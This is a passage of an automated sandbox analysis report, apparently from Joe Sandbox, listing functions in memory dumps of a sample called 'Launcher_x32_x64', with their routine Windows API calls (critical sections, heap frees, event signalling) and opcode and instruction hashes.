Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: a3276ad32cf330754872e7fa08f950a7b148762faca1d7eebc24f13f4e0ba91f
Instruction ID: 401242edfff056d3b1ffe15a1c8ad5d2be7520310ddbb07d56b1970650e01bab
Opcode Fuzzy Hash: a3276ad32cf330754872e7fa08f950a7b148762faca1d7eebc24f13f4e0ba91f
Instruction Fuzzy Hash: B8818D71A006068FDB60CF59C681BAAB7F5FF48B20F14851DE869AB790D734ED01EB90

Function 00F2B0D0 Relevance: 1.4, APIs: 1, Instructions: 198memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00EF5D70: SetEvent.KERNEL32(03A42950,?,95E4D7D1,?), ref: 00EF602C

HeapFree.KERNEL32(00000000,?), ref: 00F2B240

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: EventFreeHeap
String ID:
API String ID: 2264064561-0
Opcode ID: 947a3e003d80a619ec9f63f9559f0df59b116e25cca583a980d7c7b1f429edf4
Instruction ID: 93cde4217004069dd24253d35a8e132b32592004cea0c06249180316fc00140d
Opcode Fuzzy Hash: 947a3e003d80a619ec9f63f9559f0df59b116e25cca583a980d7c7b1f429edf4
Instruction Fuzzy Hash: B9819D71E00218CBEB25CFA4E899BAEBBF5FF04314F144119E805AB295D774AC45DB90

Function 00EEED30 Relevance: 1.4, APIs: 1, Instructions: 198COMMON

Download Yara Rule

APIs

Part of subcall function 00E4D4F0: LeaveCriticalSection.KERNEL32(?,?,95E4D7D1,95E4D7D1,95E4D7D1,?,00000000,00000000,95E4D7D1,?,00000000), ref: 00E4D57E

LeaveCriticalSection.KERNEL32(03A442F4,95E4D7D1,?,00000000,00000000,95E4D7D1,?,00000000), ref: 00EEEF24

Part of subcall function 0109F890: LeaveCriticalSection.KERNEL32(?,?,000000FF), ref: 0109F9F7

Part of subcall function 0109FB70: UnmapViewOfFile.KERNEL32(00000000,00EF4EBE,000000FF,00000000,95E4D7D1,039D0000,00000129,00000000), ref: 0109FC0A
Part of subcall function 0109FB70: LeaveCriticalSection.KERNEL32(03A80888,00EF4EBE,000000FF,00000000,95E4D7D1,039D0000,00000129,00000000), ref: 0109FC3A

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection$FileUnmapView
String ID:
API String ID: 4262030739-0
Opcode ID: dc80baec7dd9b5a38416beb8449de394938b331e4defedea6f11f7c0e0f7b251
Instruction ID: 7f0d668e1b06759d5ec480bc5ebfd0a50294fee59d32496042faca1fd4240488
Opcode Fuzzy Hash: dc80baec7dd9b5a38416beb8449de394938b331e4defedea6f11f7c0e0f7b251
Instruction Fuzzy Hash: 5C71E071A01289DFDB24CF6AC844BAAFBF4EF44754F18816AE855BB3A1C7749D00CB90

Function 00EFD2B0 Relevance: 1.4, APIs: 1, Instructions: 116memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32(00000000,?,0A52DAB4,00000000,?,00E3ED86,?,014B9560,0A52DAB4), ref: 00EFD38B

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 9f95cb860a446f841f74af97ee299c5c065996a520d66c07e70f39c440cd07cf
Instruction ID: 88cf9a94f46ee2832f882e77592ae0567c39a2d7f3e7ad7a178d7ae826155721
Opcode Fuzzy Hash: 9f95cb860a446f841f74af97ee299c5c065996a520d66c07e70f39c440cd07cf
Instruction Fuzzy Hash: AE41CFB1A002099FDB14DF59C844BBEBBF9EF85314F14416DEA15EB380E73499008B91

Function 0ADCB050 Relevance: 1.4, Strings: 1, Instructions: 101COMMON

Download Yara Rule

Strings

|9|, xrefs: 0ADCB098

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID: |9|
API String ID: 0-3593229408
Opcode ID: 0576054da6140e05bf0f34ec14b8fda81891cb040fad491a510f823fb8b8dffe
Instruction ID: 2663068a079d4832a3a0629367bb8934cc58b3c7b621ce272e011deeae30316c
Opcode Fuzzy Hash: 0576054da6140e05bf0f34ec14b8fda81891cb040fad491a510f823fb8b8dffe
Instruction Fuzzy Hash: 5241E631E11309DFCB15DFA6D8585AEBBB6FF88305B50802DE41AA7264EB31AD42CF40

Function 00E3CF70 Relevance: 1.3, APIs: 1, Instructions: 87COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,95E4D7D1,?,?), ref: 00E3CFF4

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: dd72be8667eff4d52a9e23a9028e7db555cff5799fdffb6572290fa11b7f6585
Instruction ID: cfe8efa111c0d0a5dea4b743592a37d592e22d13ff2318122ae30e6de86413c9
Opcode Fuzzy Hash: dd72be8667eff4d52a9e23a9028e7db555cff5799fdffb6572290fa11b7f6585
Instruction Fuzzy Hash: B421D171A056059FCB15CF59D888B9AFBF4FF49724F10821AEC28A7391D735A901CF90

Function 00E5D1C0 Relevance: 1.3, APIs: 1, Instructions: 79COMMON

Download Yara Rule

APIs

LeaveCriticalSection.KERNEL32(?,?,95E4D7D1,00000005,?,?), ref: 00E5D241

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalLeaveSection
String ID:
API String ID: 3988221542-0
Opcode ID: 27839b160494ca9eabcb89aeb9b3661f15528ee3e1e37000ddfd35ad5ebc419f
Instruction ID: f41184be275d4e1231000fdf0e2faefacbdf9dc7f2594672100f89f21934c1ba
Opcode Fuzzy Hash: 27839b160494ca9eabcb89aeb9b3661f15528ee3e1e37000ddfd35ad5ebc419f
Instruction Fuzzy Hash: 0D318D75A047099FC720CF59D880B9AFBB4FB49724F10866EEC18A7391D736A905CB90

Function 01289FF0 Relevance: 1.3, APIs: 1, Instructions: 43COMMON

Download Yara Rule

APIs

InitializeCriticalSection.KERNEL32(014BBF50,95E4D7D1,?), ref: 0128A040

Part of subcall function 012895F0: GetSystemInfo.KERNELBASE(014B111C,95E4D7D1), ref: 01289676
Part of subcall function 012895F0: SetConsoleCtrlHandler.KERNEL32(012894A0,00000001), ref: 01289697
Part of subcall function 012895F0: GetModuleHandleW.KERNEL32(kernel32.dll), ref: 012896A2
Part of subcall function 012895F0: GetProcAddress.KERNEL32(00000000,InitializeContext2), ref: 012896AE
Part of subcall function 012895F0: GetModuleHandleW.KERNEL32(ntdll.dll), ref: 012896BE
Part of subcall function 012895F0: GetProcAddress.KERNEL32(00000000,RtlRestoreContext), ref: 012896CD
Part of subcall function 012895F0: InitializeCriticalSection.KERNEL32(014B0E80), ref: 0128971B
Part of subcall function 012895F0: InitializeCriticalSection.KERNEL32(014B0EA4), ref: 0128974C
Part of subcall function 012895F0: InitializeCriticalSection.KERNEL32(014B0B50), ref: 0128977D
Part of subcall function 012895F0: InitializeCriticalSection.KERNEL32(014B1048), ref: 012897B0

Memory Dump Source

Source File: 00000000.00000002.1815444457.0000000000E31000.00000020.00000001.01000000.00000003.sdmp, Offset: 00E30000, based on PE: true

Associated: 00000000.00000002.1815426765.0000000000E30000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815712473.000000000136F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815784912.00000000014A9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815800078.00000000014AC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014AE000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014B9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815813708.00000000014BB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1815899742.00000000014C3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_e30000_Launcher_x32_x64.jbxd

Similarity

API ID: CriticalInitializeSection$AddressHandleModuleProc$ConsoleCtrlHandlerInfoSystem
String ID:
API String ID: 722453380-0
Opcode ID: c08cf585b1f2e75c16670868e2e7f12d24620b4a723a39bf925a6b5d127422b5
Instruction ID: e99aa453f69a2ebced73a9ccc4d1101a09b00f08f6aa9e0cf808539b164fb9bf
Opcode Fuzzy Hash: c08cf585b1f2e75c16670868e2e7f12d24620b4a723a39bf925a6b5d127422b5
Instruction Fuzzy Hash: B00180B19542049FD720DF68E995B5ABFB8F708714F20411FE806D32A4D77A5400CB60

Function 0AD8D750 Relevance: .4, Instructions: 379COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c2ba040ad4053b50133ef36351c025f8e6ffe4facd27fe912bd955c88546e22
Instruction ID: 0bc75fe157ca59ddff6ff6f5a39d7fc965200fff42129083c6f25e87a6b82072
Opcode Fuzzy Hash: 3c2ba040ad4053b50133ef36351c025f8e6ffe4facd27fe912bd955c88546e22
Instruction Fuzzy Hash: 30023770911705CFCB25DF62D498AAABBB2FF88311F104A6DE486A7790DB70AD45CF50

Function 0ADA3D50 Relevance: .3, Instructions: 339COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccadd93928a29670e6c5951ab4eab64f7735eedb5235a19c13707ef9b6cf2b76
Instruction ID: 1b94d057e5b7c6d5e9d4b6ff5346083a006230eb0d813302d2234a57fca47045
Opcode Fuzzy Hash: ccadd93928a29670e6c5951ab4eab64f7735eedb5235a19c13707ef9b6cf2b76
Instruction Fuzzy Hash: 5DE16A71A10706CFCB29CF65D58899ABBF2FF98300B15862DD456AB790DB71AD06CF80

Function 0ADD2110 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d268e90bf69dd948590496a5f9b6964e56ee7f020451be5174a63a697aede384
Instruction ID: 8645f913f5d95daa0f0a63860d2edb5f592ea28b8489a86acb03636326cf9282
Opcode Fuzzy Hash: d268e90bf69dd948590496a5f9b6964e56ee7f020451be5174a63a697aede384
Instruction Fuzzy Hash: ECD10634A11205CFCB59DFA5E498AAABBB6FF88311F14852DE80AD7790DB30AC45CF50

Function 0ADCA680 Relevance: .3, Instructions: 278COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8b5d559eb5d0c510138b7d6088f41d408f4ee1664f54719e95889c602902c1b8
Instruction ID: bdc198d664d156e20c5f28aa170919d97dfc76b2d6c3fa9a5def00d07a726224
Opcode Fuzzy Hash: 8b5d559eb5d0c510138b7d6088f41d408f4ee1664f54719e95889c602902c1b8
Instruction Fuzzy Hash: 72C10D30A21259DFEB16AF66EC4CB6A7B76BF84341F118069E50AD76A0DB305D41CF60

Function 0ADD1920 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fd925486bb60b6940c5cd70ab1432bfeb1f8cac53d98b05ca4c8d6f756be9973
Instruction ID: 05f104ed1d23d923414feb2f14fe7b0521d0db36c34bf8926aeff370ba1eeee1
Opcode Fuzzy Hash: fd925486bb60b6940c5cd70ab1432bfeb1f8cac53d98b05ca4c8d6f756be9973
Instruction Fuzzy Hash: 10C12F30A21209DFDB15DF66D95C6AEBBB1FF44305F614128E40AEB6A0DB319E86CF50

Function 0ADC7200 Relevance: .2, Instructions: 245COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9dae1659e2eb0ede93a5a4244714252cb905a02c08284c19b3021d3e746aa6b
Instruction ID: 2aab64b803bf83571495d63f418c3740ecd37142bb86a6308035abcd1303c244
Opcode Fuzzy Hash: f9dae1659e2eb0ede93a5a4244714252cb905a02c08284c19b3021d3e746aa6b
Instruction Fuzzy Hash: 7BB10730911606CFCB26DF66E84C99EBBB6FF88301B51862DE456A7760DB70AD06CF40

Function 0ADA1C00 Relevance: .2, Instructions: 234COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9381618ccdd6ac2e1b840bed7e1da8de754d0fa66a1f7b75b09d4ccbc26d646e
Instruction ID: 3cef46c3af4ff7bd7c7f953debdccf2ad8c09b6c817a04e06bab099b634ec28e
Opcode Fuzzy Hash: 9381618ccdd6ac2e1b840bed7e1da8de754d0fa66a1f7b75b09d4ccbc26d646e
Instruction Fuzzy Hash: 46B11574910209CFCB15CFA9D58899EBBB1FF58315F218269E80AEB361DB31AD46CF40

Function 0ADCBC60 Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 590578628a837ed0a1a0264ac7ad84bd821b639546a21b74754bc81983da1ec0
Instruction ID: 02c64a9caba7eee24ab42091afddcb40288b81bb8624169f5435b9af4fdf4fed
Opcode Fuzzy Hash: 590578628a837ed0a1a0264ac7ad84bd821b639546a21b74754bc81983da1ec0
Instruction Fuzzy Hash: 76B1F33862561ACFC726CF56E088827BBB2FB8A3013558A6DD946C7359DB70BC01CF90

Function 0ADC5A20 Relevance: .2, Instructions: 204COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f823268b57aa9d9fd85f6715f76de4d336434fae616bfdfc67f7417c01d3266
Instruction ID: d0e6f86f82488cd488e46f55ae91f1770d863149ad71d43a8d4d18f3a0e1296a
Opcode Fuzzy Hash: 0f823268b57aa9d9fd85f6715f76de4d336434fae616bfdfc67f7417c01d3266
Instruction Fuzzy Hash: 2FA1283091170ACFCB25CFA6E988A9EBBB1FF88314F11862DE416A7690D7707946CF40

Function 0ADCAC40 Relevance: .2, Instructions: 193COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEBD000.00000004.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820078291.000000000AEBF000.00000008.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820097468.000000000AED0000.00000002.00001000.00040000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ad60000_Launcher_x32_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2effeef1cf1059f90721d7926908f0a751c5313a6d4d52e04ae6148b2e56e77f
Instruction ID: c9827dde56cf444832e302d67466670de7dc7933025c18b49f90f6dee70ad8fa
Opcode Fuzzy Hash: 2effeef1cf1059f90721d7926908f0a751c5313a6d4d52e04ae6148b2e56e77f
Instruction Fuzzy Hash: 8C714831E10259ABCF15CFA6E848AEEBBB6FF88351F14811AF915A7260E7315D12CB50

Function 0AD8CB30 Relevance: .2, Instructions: 192COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1819849440.000000000AD61000.00000020.00000001.00040000.00000003.sdmp, Offset: 0AD60000, based on PE: true

Associated: 00000000.00000002.1819822885.000000000AD60000.00000002.00000001.00040000.00000003.sdmpDownload File
Associated: 00000000.00000002.1820046845.000000000AEB7000.00000004.00000001.00040000.00000003.sdmpDownload File
